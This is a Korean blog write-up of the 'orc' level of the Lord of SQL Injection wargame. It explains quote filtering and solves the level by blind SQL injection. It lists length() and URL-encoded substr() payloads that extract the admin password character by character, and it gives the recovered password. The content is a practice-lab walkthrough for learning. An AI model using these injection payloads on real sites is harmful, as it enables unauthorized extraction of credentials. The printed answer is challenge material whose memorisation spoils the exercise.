이스케이프 시켜야하는 문자 앞에 백슬래시를 붙여주는 작업을 하는 함수다.
', ", \, NUL 을 처리한다.
쿼터를 필터링하고 있음을 알 수 있다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
이 부분을 보면 입력값과 DB의 pw가 일치해야 풀리는 것을 확인할 수 있다.
이 문제는 Blind SQL Injection 을 사용해야 한다.
Blind SQL Injection은 쿼리 결과에 따른 서버의 참과 거짓 반응을 통해 공격을 수행하는 방식이다.
length(pw)=pw길이
length함수를 사용하면 패스워드 길이를 알 수 있다. 1부터 값을 늘려가며 찾아보자.
pw='or id='admin' and length(pw)=8%23
8에서 Hello admin을 띄운 것으로 보아 비밀번호의 길이가 8인가보다.
이제 패스워드를 하나씩 알아내야 한다.
substr 함수를 이용하면 된다.
노가다 시작...
pw=%27or%20id=%27admin%27%20and%20substr(pw,%201,%201)=%270
pw=%27or%20id=%27admin%27%20and%20substr(pw,%202,%201)=%279
pw=%27or%20id=%27admin%27%20and%20substr(pw,%203,%201)=%275
pw=%27or%20id=%27admin%27%20and%20substr(pw,%204,%201)=%27a
pw=%27or%20id=%27admin%27%20and%20substr(pw,%205,%201)=%279
pw=%27or%20id=%27admin%27%20and%20substr(pw,%206,%201)=%278
pw=%27or%20id=%27admin%27%20and%20substr(pw,%207,%201)=%275
pw=%27or%20id=%27admin%27%20and%20substr(pw,%208,%201)=%272
없는 9번째 번호를 찾고있었네...;
기계가 된 기분으로 여유롭게 찾았더니 그렇게 오래 안걸렸다. 비밀번호가 쉬워서 다행이지만 다음에는 자동화 프로그램을 이용하는 게 좋을 것 같다. 자동화가 괜히 있는 게 아닌데 참... 이래서 다들 기계를 쓰나보다. 큰 깨달음을 얻었다.
pw=095a9852
번거롭게 클리어~!
'Web Hacking > LoS' 카테고리의 다른 글
[Lord of the SQL] los darkelf (0) | 2021.05.23 |
---|---|
[Lord of SQL Injection] wolfman (0) | 2021.05.18 |
[Lord of SQL Injection] goblin (0) | 2021.04.10 |
[Lord of SQL Injection] cobolt (0) | 2021.04.04 |
[Lord of SQL Injection] gremlin (0) | 2021.03.28 |